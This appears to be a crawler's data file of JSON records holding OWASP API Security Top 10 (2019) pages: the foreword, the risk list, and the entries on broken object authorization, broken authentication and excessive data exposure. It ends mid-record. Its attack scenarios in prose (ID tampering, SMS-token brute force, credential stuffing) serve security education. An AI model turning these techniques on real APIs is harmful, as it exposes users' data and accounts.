"drobecky": [], "osnova": [{"uroven": 1, "text": "Foreword"}], "markdown": "# Foreword\n\nA foundational element of innovation in today’s app-driven world is the\nApplication Programming Interface (API). From banks, retail, and transportation\nto IoT, autonomous vehicles, and smart cities, APIs are a critical part of\nmodern mobile, SaaS, and web applications and can be found in customer-facing,\npartner-facing, and internal applications.\n\nBy nature, APIs expose application logic and sensitive data such as Personally\nIdentifiable Information (PII) and because of this, APIs have increasingly\nbecome a target for attackers. Without secure APIs, rapid innovation would be\nimpossible.\n\nAlthough a broader web application security risks Top 10 still makes sense, due\nto their particular nature, an API-specific security risks list is required.\nAPI security focuses on strategies and solutions to understand and mitigate the\nunique vulnerabilities and security risks associated with APIs.\n\nIf you're familiar with the [OWASP Top 10 Project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project), then you'll notice the\nsimilarities between both documents: they are intended for readability and\nadoption. If you're new to the OWASP Top 10 series, you may be better off\nreading the [API Security Risks](../0x10-api-security-risks/) and [Methodology and Data](../0xd0-about-data/) sections\nbefore jumping into the Top 10 list.\n\nYou can contribute to OWASP API Security Top 10 with your questions, comments,\nand ideas at our GitHub project repository:\n\n- https://github.com/OWASP/API-Security/issues\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nYou can find the OWASP API Security Top 10 here:\n\n- https://www.owasp.org/index.php/OWASP_API_Security_Project\n- https://github.com/OWASP/API-Security\n\nWe wish to thank all the contributors who made this project possible with their\neffort and contributions. They are all listed in the [Acknowledgments\nsection](../0xd1-acknowledgments/). Thank you!", "znaku_textu": 1927, "slov": 258, "odkazu": 62, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:01", "sha256": "371b5cf4c488bbc2b7ae7988e93f6891df2f8cd4f321e95e7a2036cfedaab53c", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0x03-introduction/", "titulek": "Introduction - OWASP API Security Top 10", "h1": "Introduction", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0x03-introduction/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "Welcome to the OWASP API Security Top 10 - 2019!"}], "markdown": "# Introduction\n\n## Welcome to the OWASP API Security Top 10 - 2019!\n\nWelcome to the first edition of the OWASP API Security Top 10. If you're\nfamiliar with the OWASP Top 10 series, you'll notice the similarities: they are\nintended for readability and adoption. Otherwise, consider visiting the [OWASP\nAPI Security Project wiki page](https://www.owasp.org/index.php/OWASP_API_Security_Project), before digging deeper into the most critical\nAPI security risks.\n\nAPIs play a very important role in modern applications' architecture. Since\ncreating security awareness and innovation have different paces, it's important\nto focus on common API security weaknesses.\n\nThe primary goal of the OWASP API Security Top 10 is to educate those involved\nin API development and maintenance, for example, developers, designers,\narchitects, managers, or organizations.\n\nIn the [Methodology and Data](../0xd0-about-data/) section, you can read more about how this first\nedition was created. In future versions, we want to involve the security\nindustry, with a public call for data. For now, we encourage everyone to\ncontribute with questions, comments, and ideas at our [GitHub repository](https://github.com/OWASP/API-Security) or\n[Mailing list](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 1292, "slov": 176, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:02", "sha256": "d5854f5b233d4917e3fc1d3e31e03fd7d4862667bd8eb605737bce6e9b19abb3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0x04-release-notes/", "titulek": "Release Notes - OWASP API Security Top 10", "h1": "Release Notes", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0x04-release-notes/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Release Notes"}], "markdown": "# Release Notes\n\nThis is the first OWASP API Security Top 10 edition, which we plan to be updated\nperiodically, every three or four years.\n\nUnlike this version, in future versions, we want to make a public call for data,\ninvolving the security industry in this effort. In the [Methodology and Data](../0xd0-about-data/)\nsection, you'll find more details about how this version was built. For more\ndetails about the security risks, please refer to the [API Security Risks](../0x10-api-security-risks/)\nsection.\n\nIt is important to realize that over the last few years, architecture of \napplications has significantly changed. Currently, APIs play a very important\nrole in this new architecture of microservices, Single Page Applications (SPAs),\nmobile apps, IoT, etc.\n\nThe OWASP API Security Top 10 was a required effort to create awareness about\nmodern API security issues. It was only possible due to a great effort of\nseveral volunteers, all of them listed in the [Acknowledgments](../0xd1-acknowledgments/) section.\nThank you!", "znaku_textu": 1023, "slov": 161, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:03", "sha256": "6b9dbdf4496efc3f4219635bcd7522518f4e527c6bcb19bc8b6540d495eb39a7", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0x10-api-security-risks/", "titulek": "API Security Risks - OWASP API Security Top 10", "h1": "API Security Risks", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0x10-api-security-risks/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API Security Risks"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API Security Risks\n\nThe [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) was used to do the risk analysis.\n\nThe table below summarizes the terminology associated with the risk score.\n\n| Threat Agents | Exploitability | Weakness Prevalence | Weakness Detectability | Technical Impact | Business Impacts |\n| --- | --- | --- | --- | --- | --- |\n| API Specific | Easy: **3** | Widespread **3** | Easy **3** | Severe **3** | Business Specific |\n| API Specific | Average: **2** | Common **2** | Average **2** | Moderate **2** | Business Specific |\n| API Specific | Difficult: **1** | Difficult **1** | Difficult **1** | Minor **1** | Business Specific |\n\n**Note**: This approach does not take the likelihood of the threat agent into\naccount. Nor does it account for any of the various technical details associated\nwith your particular application. Any of these factors could significantly\naffect the overall likelihood of an attacker finding and exploiting a particular\nvulnerability. This rating does not take into account the actual impact on your\nbusiness. Your organization will have to decide how much security risk from\napplications and APIs the organization is willing to accept given your culture,\nindustry, and regulatory environment. The purpose of the OWASP API Security Top\n10 is not to do this risk analysis for you.\n\n## References\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)\n- [Article on Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)\n\n### External\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 1936, "slov": 224, "odkazu": 72, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:04", "sha256": "9918d8c2f104bb1580ab1dc41e0ba7cc2a9eb27ada383936be4f2f72d344c214", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://www.owasp.org/index.php/Threat_Risk_Modeling", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0x11-t10/", "titulek": "OWASP Top 10 API Security Risks – 2019 - OWASP API Security Top 10", "h1": "OWASP Top 10 API Security Risks – 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0x11-t10/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 API Security Risks – 2019"}], "markdown": "# OWASP Top 10 API Security Risks – 2019\n\n| Risk | Description |\n| --- | --- |\n| API1:2019 - Broken Object Level Authorization | APIs tend to expose endpoints that handle object identifiers, creating a wide attack surface Level Access Control issue. Object level authorization checks should be considered in every function that accesses a data source using an input from the user. |\n| API2:2019 - Broken User Authentication | Authentication mechanisms are often implemented incorrectly, allowing attackers to compromise authentication tokens or to exploit implementation flaws to assume other user's identities temporarily or permanently. Compromising system's ability to identify the client/user, compromises API security overall. |\n| API3:2019 - Excessive Data Exposure | Looking forward to generic implementations, developers tend to expose all object properties without considering their individual sensitivity, relying on clients to perform the data filtering before displaying it to the user. |\n| API4:2019 - Lack of Resources & Rate Limiting | Quite often, APIs do not impose any restrictions on the size or number of resources that can be requested by the client/user. Not only can this impact the API server performance, leading to Denial of Service (DoS), but also leaves the door open to authentication flaws such as brute force. |\n| API5:2019 - Broken Function Level Authorization | Complex access control policies with different hierarchies, groups, and roles, and an unclear separation between administrative and regular functions, tend to lead to authorization flaws. By exploiting these issues, attackers gain access to other users’ resources and/or administrative functions. |\n| API6:2019 - Mass Assignment | Binding client provided data (e.g., JSON) to data models, without proper properties filtering based on a whitelist, usually lead to Mass Assignment. Either guessing objects properties, exploring other API endpoints, reading the documentation, or providing additional object properties in request payloads, allows attackers to modify object properties they are not supposed to. |\n| API7:2019 - Security Misconfiguration | Security misconfiguration is commonly a result of unsecure default configurations, incomplete or ad-hoc configurations, open cloud storage, misconfigured HTTP headers, unnecessary HTTP methods, permissive Cross-Origin resource sharing (CORS), and verbose error messages containing sensitive information. |\n| API8:2019 - Injection | Injection flaws, such as SQL, NoSQL, Command Injection, etc., occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's malicious data can trick the interpreter into executing unintended commands or accessing data without proper authorization. |\n| API9:2019 - Improper Assets Management | APIs tend to expose more endpoints than traditional web applications, making proper and updated documentation highly important. Proper hosts and deployed API versions inventory also play an important role to mitigate issues such as deprecated API versions and exposed debug endpoints. |\n| API10:2019 - Insufficient Logging & Monitoring | Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems to tamper with, extract, or destroy data. Most breach studies demonstrate the time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring. |", "znaku_textu": 3469, "slov": 477, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:04", "sha256": "ffec9167dbbbb9e89d25881e7ade93ddaf979dc7403f64264f29b6461f0ff683", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xa1-broken-object-level-authorization/", "titulek": "API1:2019 Broken Object Level Authorization - OWASP API Security Top 10", "h1": "API1:2019 Broken Object Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xa1-broken-object-level-authorization/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2019 Broken Object Level Authorization"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "External"}], "markdown": "# API1:2019 Broken Object Level Authorization\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **3** | Prevalence **3** : Detectability **2** | Technical **3** : Business Specific |\n| Attackers can exploit API endpoints that are vulnerable to broken object level authorization by manipulating the ID of an object that is sent within the request. This may lead to unauthorized access to sensitive data. This issue is extremely common in API-based applications because the server component usually does not fully track the client’s state, and instead, relies more on parameters like object IDs, that are sent from the client to decide which objects to access. | This has been the most common and impactful attack on APIs. Authorization and access control mechanisms in modern applications are complex and wide-spread. Even if the application implements a proper infrastructure for authorization checks, developers might forget to use these checks before accessing a sensitive object. Access control detection is not typically amenable to automated static or dynamic testing. | Unauthorized access can result in data disclosure to unauthorized parties, data loss, or data manipulation. Unauthorized access to objects can also lead to full account takeover. |\n\n## Is the API Vulnerable?\n\nObject level authorization is an access control mechanism that is usually\nimplemented at the code level to validate that one user can only access objects\nthat they should have access to.\n\nEvery API endpoint that receives an ID of an object, and performs any type of\naction on the object, should implement object level authorization checks. The\nchecks should validate that the logged-in user does have access to perform the\nrequested action on the requested object.\n\nFailures in this mechanism typically leads to unauthorized information\ndisclosure, modification, or destruction of all data.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nAn e-commerce platform for online stores (shops) provides a listing page with\nthe revenue charts for their hosted shops. Inspecting the browser requests, an\nattacker can identify the API endpoints used as a data source for those charts\nand their pattern `/shops/{shopName}/revenue_data.json`. Using another API\nendpoint, the attacker can get the list of all hosted shop names. With a simple\nscript to manipulate the names in the list, replacing `{shopName}` in the URL,\nthe attacker gains access to the sales data of thousands of e-commerce stores.\n\n### Scenario #2\n\nWhile monitoring the network traffic of a wearable device, the following HTTP\n`PATCH` request gets the attention of an attacker due to the presence of a\ncustom HTTP request header `X-User-Id: 54796`. Replacing the `X-User-Id` value\nwith `54795`, the attacker receives a successful HTTP response, and is able to\nmodify other users' account data.\n\n## How To Prevent\n\n- Implement a proper authorization mechanism that relies on the user policies\n and hierarchy.\n- Use an authorization mechanism to check if the logged-in user has access to\n perform the requested action on the record in every function that uses an\n input from the client to access a record in the database.\n- Prefer to use random and unpredictable values as GUIDs for records’ IDs.\n- Write tests to evaluate the authorization mechanism. Do not deploy vulnerable\n changes that break the tests.\n\n## References\n\n### External\n\n- [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 3621, "slov": 543, "odkazu": 71, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:05", "sha256": "7d618e3b5fdb7914ae468c827cc887f80d24db7e8a5e6c967256e6e0528161a7", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xa2-broken-user-authentication/", "titulek": "API2:2019 Broken User Authentication - OWASP API Security Top 10", "h1": "API2:2019 Broken User Authentication", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xa2-broken-user-authentication/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2019 Broken User Authentication"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "Scenario #1"}, {"uroven": 2, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "External"}], "markdown": "# API2:2019 Broken User Authentication\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **3** | Prevalence **2** : Detectability **2** | Technical **3** : Business Specific |\n| Authentication in APIs is a complex and confusing mechanism. Software and security engineers might have misconceptions about what are the boundaries of authentication and how to implement it correctly. In addition, the authentication mechanism is an easy target for attackers, since it’s exposed to everyone. These two points makes the authentication component potentially vulnerable to many exploits. | There are two sub-issues: 1. Lack of protection mechanisms: APIs endpoints that are responsible for authentication must be treated differently from regular endpoints and implement extra layers of protection 2. Misimplementation of the mechanism: The mechanism is used / implemented without considering the attack vectors, or it’s the wrong use case (e.g., an authentication mechanism designed for IoT clients might not be the right choice for web applications). | Attackers can gain control to other users’ accounts in the system, read their personal data, and perform sensitive actions on their behalf, like money transactions and sending personal messages. |\n\n## Is the API Vulnerable?\n\nAuthentication endpoints and flows are assets that need to be protected. “Forgot\npassword / reset password” should be treated the same way as authentication\nmechanisms.\n\nAn API is vulnerable if it:\n* Permits [credential stuffing](https://www.owasp.org/index.php/Credential_stuffing) whereby the attacker has a list of valid\n usernames and passwords.\n* Permits attackers to perform a brute force attack on the same user account, without\n presenting captcha/account lockout mechanism.\n* Permits weak passwords.\n* Sends sensitive authentication details, such as auth tokens and passwords in\n the URL.\n* Doesn’t validate the authenticity of tokens.\n* Accepts unsigned/weakly signed JWT tokens (`\"alg\":\"none\"`)/doesn’t\n validate their expiration date.\n* Uses plain text, non-encrypted, or weakly hashed passwords.\n* Uses weak encryption keys.\n\n## Example Attack Scenarios\n\n## Scenario #1\n\n[Credential stuffing](https://www.owasp.org/index.php/Credential_stuffing) (using [lists of known usernames/passwords](https://github.com/danielmiessler/SecLists)), is a\ncommon attack. If an application does not implement automated threat or\ncredential stuffing protections, the application can be used as a password\noracle (tester) to determine if the credentials are valid.\n\n## Scenario #2\n\nAn attacker starts the password recovery workflow by issuing a POST request to\n`/api/system/verification-codes` and by providing the username in the request\nbody. Next an SMS token with 6 digits is sent to the victim’s phone. Because the\nAPI does not implement a rate limiting policy, the attacker can test all\npossible combinations using a multi-threaded script, against the\n`/api/system/verification-codes/{smsToken}` endpoint to discover the right token\nwithin a few minutes.\n\n## How To Prevent\n\n- Make sure you know all the possible flows to authenticate to the API (mobile/\n web/deep links that implement one-click authentication/etc.)\n- Ask your engineers what flows you missed.\n- Read about your authentication mechanisms. Make sure you understand what and\n how they are used. OAuth is not authentication, and neither is API keys.\n- Don't reinvent the wheel in authentication, token generation, password\n storage. Use the standards.\n- Credential recovery/forget password endpoints should be treated as login\n endpoints in terms of brute force, rate limiting, and lockout protections.\n- Use the [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Where possible, implement multi-factor authentication.\n- Implement anti brute force mechanisms to mitigate credential stuffing,\n dictionary attack, and brute force attacks on your authentication endpoints.\n This mechanism should be stricter than the regular rate limiting mechanism on\n your API.\n- Implement [account lockout](https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)) / captcha mechanism to prevent brute force\n against specific users. Implement weak-password checks.\n- API keys should not be used for user authentication, but for [client app/\n project authentication](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) .\n\n## References\n\n### OWASP\n\n- [OWASP Key Management Cheat Sheet](https://www.owasp.org/index.php/Key_Management_Cheat_Sheet)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Credential Stuffing](https://www.owasp.org/index.php/Credential_stuffing)\n\n### External\n\n- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)", "znaku_textu": 4822, "slov": 605, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:07", "sha256": "9d7422eef31c96a63190fda307978a9c71e7bbdd8ba17d6a02d9c6e87584fc94", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Credential_stuffing", "https://github.com/danielmiessler/SecLists", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://www.owasp.org/index.php/Key_Management_Cheat_Sheet", "https://cwe.mitre.org/data/definitions/798.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure", "titulek": "API3:2019 Excessive Data Exposure - OWASP API Security Top 10", "h1": "API3:2019 Excessive Data Exposure", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 Excessive Data Exposure"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "External"}], "markdown": "# API3:2019 Excessive Data Exposure\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **3** | Prevalence **2** : Detectability **2** | Technical **2** : Business Specific |\n| Exploitation of Excessive Data Exposure is simple, and is usually performed by sniffing the traffic to analyze the API responses, looking for sensitive data exposure that should not be returned to the user. | APIs rely on clients to perform the data filtering. Since APIs are used as data sources, sometimes developers try to implement them in a generic way without thinking about the sensitivity of the exposed data. Automatic tools usually can’t detect this type of vulnerability because it’s hard to differentiate between legitimate data returned from the API, and sensitive data that should not be returned without a deep understanding of the application. | Excessive Data Exposure commonly leads to exposure of sensitive data. |\n\n## Is the API Vulnerable?\n\nThe API returns sensitive data to the client by design. This data is usually\nfiltered on the client side before being presented to the user. An attacker can\neasily sniff the traffic and see the sensitive data.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nThe mobile team uses the `/api/articles/{articleId}/comments/{commentId}`\nendpoint in the articles view to render comments metadata. Sniffing the mobile\napplication traffic, an attacker finds out that other sensitive data related to\ncomment’s author is also returned. The endpoint implementation uses a generic\n`toJSON()` method on the `User` model, which contains PII, to serialize the\nobject.\n\n### Scenario #2\n\nAn IOT-based surveillance system allows administrators to create users with\ndifferent permissions. An admin created a user account for a new security guard\nthat should only have access to specific buildings on the site. Once the\nsecurity guard uses his mobile app, an API call is triggered to:\n`/api/sites/111/cameras` in order to receive data about the available cameras\nand show them on the dashboard. The response contains a list with details about\ncameras in the following format:\n`{\"id\":\"xxx\",\"live_access_token\":\"xxxx-bbbbb\",\"building_id\":\"yyy\"}`.\nWhile the client GUI shows only cameras which the security guard should have\naccess to, the actual API response contains a full list of all the cameras in\nthe site.\n\n## How To Prevent\n\n- Never rely on the client side to filter sensitive data.\n- Review the responses from the API to make sure they contain only legitimate\n data.\n- Backend engineers should always ask themselves \"who is the\n consumer of the data?\" before exposing a new API endpoint.\n- Avoid using generic methods such as `to_json()` and `to_string()` .\n Instead, cherry-pick specific properties you really want to return\n- Classify sensitive and personally identifiable information (PII) that\n your application stores and works with, reviewing all API calls returning such\n information to see if these responses pose a security issue.\n- Implement a schema-based response validation mechanism as an extra layer of\n security. As part of this mechanism define and enforce data returned by all\n API methods, including errors.\n\n## References\n\n### External\n\n- [CWE-213: Intentional Information Exposure](https://cwe.mitre.org/data/definitions/213.html)", "znaku_textu": 3237, "slov": 484, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:14:29", "sha256": "9524e2de325ceeff65ca41089e143fa18ad79bd1eac3f18051323eef6443e317", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/213.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/", "titulek": "API3:2019 Excessive Data Exposure - OWASP API Security Top 10", "h1": "API3:2019 Excessive Data Exposure", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 Excessive Data Exposure"}, {"uroven": 2, "text": "Is the API Vulnerable?"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 3, "text": "Scenario #1"}, {"uroven": 3, "text": "Scenario #2"}, {"uroven": 2, "text": "How To Prevent"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "External"}], "markdown": "# API3:2019 Excessive Data Exposure\n\n| Threat agents/Attack vectors | Security Weakness | Impacts |\n| --- | --- | --- |\n| API Specific : Exploitability **3** | Prevalence **2** : Detectability **2** | Technical **2** : Business Specific |\n| Exploitation of Excessive Data Exposure is simple, and is usually performed by sniffing the traffic to analyze the API responses, looking for sensitive data exposure that should not be returned to the user. | APIs rely on clients to perform the data filtering. Since APIs are used as data sources, sometimes developers try to implement them in a generic way without thinking about the sensitivity of the exposed data. Automatic tools usually can’t detect this type of vulnerability because it’s hard to differentiate between legitimate data returned from the API, and sensitive data that should not be returned without a deep understanding of the application. | Excessive Data Exposure commonly leads to exposure of sensitive data. |\n\n## Is the API Vulnerable?\n\nThe API returns sensitive data to the client by design. This data is usually\nfiltered on the client side before being presented to the user. An attacker can\neasily sniff the traffic and see the sensitive data.\n\n## Example Attack Scenarios\n\n### Scenario #1\n\nThe mobile team uses the `/api/articles/{articleId}/comments/{commentId}`\nendpoint in the articles view to render comments metadata. Sniffing the mobile\napplication traffic, an attacker finds out that other sensitive data related to\ncomment’s author is also returned. The endpoint implementation uses a generic\n`toJSON()` method on the `User` model, which contains PII, to serialize the\nobject.\n\n### Scenario #2\n\nAn IOT-based surveillance system allows administrators to create users with\ndifferent permissions. An admin created a user account for a new security guard\nthat should only have access to specific buildings on the site. Once the\nsecurity guard uses his mobile app, an API call is triggered to:\n`/api/sites/111/cameras` in order to receive data about the available cameras\nand show them on the dashboard. The response contains a list with details about\ncameras in the following format:\n`{\"id\":\"xxx\",\"live_access_token\":\"xxxx-bbbbb\",\"building_id\":\"yyy\"}`.\nWhile the client GUI shows only cameras which the security guard should have\naccess to, the actual API response contains a full list of all the cameras in\nthe site.\n\n## How To Prevent\n\n- Never rely on the client side to filter sensitive data.\n- Review the responses from the API to make sure they contain only legitimate\n data.\n- Backend engineers should always ask themselves \"who is the\n consumer of the data?\" before exposing a new API endpoint.\n- Avoid using generic methods such as `to_json()` and `to_string()` .\n Instead, cherry-pick specific properties you really want to return\n- Classify sensitive and personally identifiable information (PII) that\n your application stores and works with, reviewing all API calls returning such\n information to see if these responses pose a security issue.\n- Implement a schema-based response validation mechanism as an extra layer of\n security. As part of this mechanism define and enforce data returned by all\n API methods, including errors.\n\n## References\n\n### External\n\n- [CWE-213: Intentional Information Exposure](https://cwe.mitre.org/data/definitions/213.html)", "znaku_textu": 3237, "slov": 484, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:08", "sha256": "9524e2de325ceeff65ca41089e143fa18ad79bd1eac3f18051323eef6443e317", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/213.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/", "titulek": "API4:2019 Lack of Resources & Rate Limiting - OWASP API Security Top 10", "h1": "API4:2019 Lack of Resources & Rate Limiting", 